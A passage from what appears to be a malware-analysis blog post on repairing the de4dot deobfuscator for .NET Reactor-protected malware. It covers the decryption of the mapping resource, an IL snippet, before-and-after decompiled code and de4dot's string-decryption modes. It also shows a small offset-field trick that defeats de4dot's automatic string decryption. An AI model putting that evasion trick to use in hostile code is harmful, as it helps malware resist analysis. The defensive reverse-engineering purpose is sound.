You can use it to store extra info you’ve gathered in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CheckCctor&lt;/code&gt; so you don’t need to find the info twice, but many obfuscator types don’t require anything here, meaning you can return &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;new object()&lt;/code&gt; or even &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;this&lt;/code&gt;, since it literally does not matter.&lt;/p&gt;

&lt;h4 id=&quot;what-about-the-encrypted-mapping&quot;&gt;What about the encrypted mapping?&lt;/h4&gt;

&lt;p&gt;So far, we’ve glossed over the fact that we still need to get hold of the token-to-token mapping and have just assumed that there’s a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;_mapping&lt;/code&gt; in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GetCallInfo&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Since we’ve established that the decryption code is individually generated per protected binary, we have little choice but to run that exact code and apply it to the byte array of the encrypted resource.
Finding the resource itself and fetching its data using dnlib is trivial - just check what string is being passed to a call to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GetManifestResourceStream&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;For the decryption code, we have several options with de4dot:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Load the assembly and directly call the decryption code via reflection. This is the easiest method by far, but also the most dangerous one, since you’ll be executing arbitrary code from a potentially malicious binary.&lt;/li&gt;
  &lt;li&gt;Isolate the decryption code and copy it to a new temporary in-memory assembly. This works well if the code has very local behavior and does not make any calls. It’s reasonably safe, because you can add safety checks for the IL code to disallow certain instructions (skipping deobfuscation if something seems fishy).&lt;/li&gt;
  &lt;li&gt;Use IL emulation - de4dot offers an instruction emulator for algorithmic code (no calls, no allocations) that would be applicable to our case. The tricky part is to find the proper start and end point for emulation - but the same also goes for the option above.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;We initially went for the isolation path, and it worked well.&lt;/p&gt;

&lt;p&gt;As we became more familiar with this obfuscator, we realized that de4dot already had support for it (albeit broken)!
It turns out that what we’ve been dealing with is in fact .NET Reactor, one of the more popular obfuscators still around.&lt;/p&gt;

&lt;p&gt;The existing code in de4dot is relying on instruction emulation.
It was broken because it had trouble identifying the proper start/end points for emulation, thus being unable to properly decrypt the resource containing the mapping.
The old code would first locate the end point (which is marked by a series of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;conv&lt;/code&gt; instructions), and from there it would iterate upwards to find the start.
It did so by counting how many unique local variables it encountered.
This is a somewhat brittle strategy, because temporary variables can easily be added, thus their count may fluctuate.
We changed it up to look for a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ldelem&lt;/code&gt; instruction instead and then go down again until there is a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ldloc&lt;/code&gt;.
You can find the diff for our changes &lt;a href=&quot;https://github.com/GDATAAdvancedAnalytics/de4dotEx/commit/278e16e923ad3f7e16ff606de95a4325cc34cce6#diff-058abcd1199fe4610c80eccf66c9635193f160a63e5a2b59901539abe20f6fc9&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;div class=&quot;language-csharp highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cm&quot;&gt;/* 0x00033826 91           */&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;IL_0136&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ldelem&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;u1&lt;/span&gt;
&lt;span class=&quot;cm&quot;&gt;/* 0x00033827 60           */&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;IL_0137&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;or&lt;/span&gt;
&lt;span class=&quot;cm&quot;&gt;/* 0x00033828 130A         */&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;IL_0138&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;stloc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;   &lt;span class=&quot;n&quot;&gt;V_10&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;//                 &amp;lt;start of crypto algo&amp;gt;&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;//                         num3 = num3;&lt;/span&gt;
&lt;span class=&quot;cm&quot;&gt;/* 0x0003382A 1109         */&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;IL_013A&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ldloc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;   &lt;span class=&quot;n&quot;&gt;V_9&lt;/span&gt;
&lt;span class=&quot;cm&quot;&gt;/* 0x0003382C 1309         */&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;IL_013C&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;stloc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;   &lt;span class=&quot;n&quot;&gt;V_9&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;//                         uint num9 = num3;&lt;/span&gt;
&lt;span class=&quot;cm&quot;&gt;/* 0x0003382E 1109         */&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;IL_013E&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ldloc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;   &lt;span class=&quot;n&quot;&gt;V_9&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;//                         uint num10 = num3;&lt;/span&gt;
&lt;span class=&quot;cm&quot;&gt;/* 0x00033830 1109         */&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;IL_0140&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ldloc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;   &lt;span class=&quot;n&quot;&gt;V_9&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;//                         uint num11 = 114135216U;&lt;/span&gt;
&lt;span class=&quot;cm&quot;&gt;/* 0x00033832 20B090CD06   */&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;IL_0142&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ldc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i4&lt;/span&gt;    &lt;span class=&quot;m&quot;&gt;114135216&lt;/span&gt;
&lt;span class=&quot;cm&quot;&gt;/* 0x00033837 FE0E2600     */&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;IL_0147&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;stloc&lt;/span&gt;     &lt;span class=&quot;n&quot;&gt;V_38&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;//                    .......&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h4 id=&quot;before-and-after&quot;&gt;Before and after&lt;/h4&gt;

&lt;div class=&quot;language-csharp highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;WatcherWatcher&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;WriteWorker&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;WorkerWatcher&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;WriteWorker&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;WorkerWatcher&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ConnectWorker&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;UnhandledExceptionEventHandler&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;MappingTagDescriptor&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SetupFactory&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;WatcherWatcher&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ConcatWorker&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;FieldWatcher&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;WriteWorker&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;FieldWatcher&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;CallWorker&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-csharp highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;AppDomain&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;CurrentDomain&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;UnhandledException&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;MappingTagDescriptor&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SetupFactory&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;Authentication&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;ForgotFactory&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The first call adds an unhandled exception handler.
After deobfuscation, the decompiler is able to turn it into idiomatic C# code with the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;+=&lt;/code&gt; syntax.
The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SetupFactory&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ForgotFactory&lt;/code&gt; methods still sound weird, but they’re not delegates - they’re proper methods in the malware that were renamed by the obfuscator.&lt;/p&gt;

&lt;h2 id=&quot;technique-string-encryption&quot;&gt;Technique: String encryption&lt;/h2&gt;

&lt;p&gt;As the author of a string encryption scheme, you need to put in some work.
This is because de4dot supports multiple strategies for dealing with string encryption, and if you implement a naive scheme, de4dot will be capable of breaking it without having to write a single line of custom deobfuscation code.&lt;/p&gt;

&lt;p&gt;The strategies de4dot supports via the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--strtyp&lt;/code&gt; parameter are:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;em&gt;Static&lt;/em&gt;: Specialized code for the detected obfuscator is used in order to deobfuscate strings without directly executing code from the target assembly. This only works when de4dot has an implementation for the particular obfuscator.&lt;/li&gt;
  &lt;li&gt;&lt;em&gt;Delegate&lt;/em&gt;: The target assembly is loaded and the original, unmodified string decrypter method is invoked for each string.&lt;/li&gt;
  &lt;li&gt;&lt;em&gt;Emulate&lt;/em&gt;: This is somewhat misnamed. There is no instruction emulation going on; it does actually execute IL code. In terms of methodology, it’s similar to the &lt;em&gt;Delegate&lt;/em&gt; decrypter type. The difference is that the code is processed/rewritten and checked for anti-deobfuscation measures first. Such measures include checking the calling assembly, or checking the stack frame for entries that are not supposed to be there (if de4dot calls the decryption method, de4dot’s methods will show up in the frame). Any discovered checks are &lt;a href=&quot;https://github.com/GDATAAdvancedAnalytics/de4dotEx/blob/0e34d8e348cf11eaa3d1d20438fb13e165cebe56/AssemblyData/methodsrewriter/MethodsRewriter.cs#L223&quot;&gt;patched&lt;/a&gt; in such a way that nothing incriminating shows up.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;em&gt;Delegate&lt;/em&gt; and &lt;em&gt;Emulate&lt;/em&gt; require an additional &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--strtok &amp;lt;token&amp;gt;&lt;/code&gt; parameter that specifies the decrypter method, which has to be identified by manually looking at the assembly. The parameter may be specified multiple times if multiple such methods exist.&lt;/p&gt;

&lt;p&gt;Consider this simple example that has two AES-encrypted strings accessed via an index:&lt;/p&gt;

&lt;div class=&quot;language-csharp highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;StrCrypto&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;readonly&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[]&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;_strings&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;s&quot;&gt;&quot;9guJzfcL9QVZQkZLtBT/ug==&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;s&quot;&gt;&quot;He8w3I012LDGTbGD7x+4VQ==&quot;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;GetString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;index&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;kt&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;crypted&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Convert&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;FromBase64String&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_strings&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;index&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;
        &lt;span class=&quot;kt&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;aes&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;RijndaelManaged&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;aes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Mode&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;CipherMode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ECB&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;aes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Padding&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;PaddingMode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PKCS7&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;kt&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;decryptor&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;aes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;CreateDecryptor&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Encoding&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ASCII&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;GetBytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;any16charswilldo&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;kt&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;decrypted&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;decryptor&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;TransformFinalBlock&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;crypted&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;crypted&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Length&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Encoding&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;UTF8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;GetString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;decrypted&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// Usage, e.g., in Main():&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;Console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;WriteLine&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;StrCrypto&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;GetString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;Console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;WriteLine&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;StrCrypto&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;GetString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;If you compile this and run &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;de4dot --strtyp delegate --strtok 06000003&lt;/code&gt;, you’ll obtain the following code with all references to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GetString&lt;/code&gt; gone. Note: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;06000003&lt;/code&gt; is the token of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GetString&lt;/code&gt; and may differ in your binary.&lt;/p&gt;

&lt;div class=&quot;language-csharp highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// After de4dot&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;Console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;WriteLine&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Hello&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;Console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;WriteLine&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;World&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;So the question is, what does one need to do so de4dot’s delegate/emulate strategies don’t work out of the box? The answer is, not much.&lt;/p&gt;

&lt;div class=&quot;language-csharp highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// In StrCrypto, introduce a static field:&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Offset&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// In GetString, add it to the index parameter:&lt;/span&gt;
&lt;span class=&quot;kt&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;crypted&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Convert&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;FromBase64String&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_strings&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Offset&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;index&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// In calls to GetString, pass a sum:&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;Console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;WriteLine&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;StrCrypto&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;GetString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;StrCrypto&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Offset&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;Console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;WriteLine&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;StrCrypto&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;GetString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;StrCrypto&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Offset&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;If you now attempt deobfuscation, you’ll get &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;WARNING: Could not find all arguments to method System.String ConsoleApplication1.StrCrypto::GetString(System.Int32) (06000003), instr: IL_0006: add&lt;/code&gt;.
It chokes on the sum, because de4dot will not attempt to obtain the value of fields.
That’s because, for the generic case, it’s not clear whether a field’s value is really constant or if it might be assigned in multiple places.
Another complication is that the field’s initial value (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-2&lt;/code&gt;) is not part of the metadata for the field declaration or anything like that.
It’s set in IL code in an auto-generated static constructor, so if you want the value, you need to parse the code.&lt;/p&gt;

&lt;p&gt;This is the approach .NET Reactor has taken, except that their fields are not static (but still constant) and that they have many such fields.&lt;/p&gt;

&lt;h3 id=&quot;net-reactor&quot;&gt;.NET Reactor&lt;/h3&gt;

&lt;p&gt;Similar to the method delegates we saw earlier, the strings are stored in another embedded .NET resource.
It’s encrypted with two layers: AES and more of the custom crypto we saw earlier.
The decryption method that is called whenever a string is needed takes an offset parameter.
At this offset in the resource, there’s a 32-bit integer specifying the length of the string, followed by UTF-16 string data.&lt;/p&gt;

&lt;p&gt;de4dot has a static string deobfuscator for .NET Reactor.
In this instance, the de4dot code was suffering from the same emulation bounds problem we already fixed.
With the fix, the string resource was getting decrypted successfully - however, the actual string deobfuscation still failed due to the above-mentioned field technique.
Typically, you can avail yourself of de4dot’s inlining facilities and simply call &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;staticStringInliner.Add(theDecryptMethod, (method, gim, args) =&amp;gt; stringDecrypter.Decrypt((int)args[0]))&lt;/code&gt;.
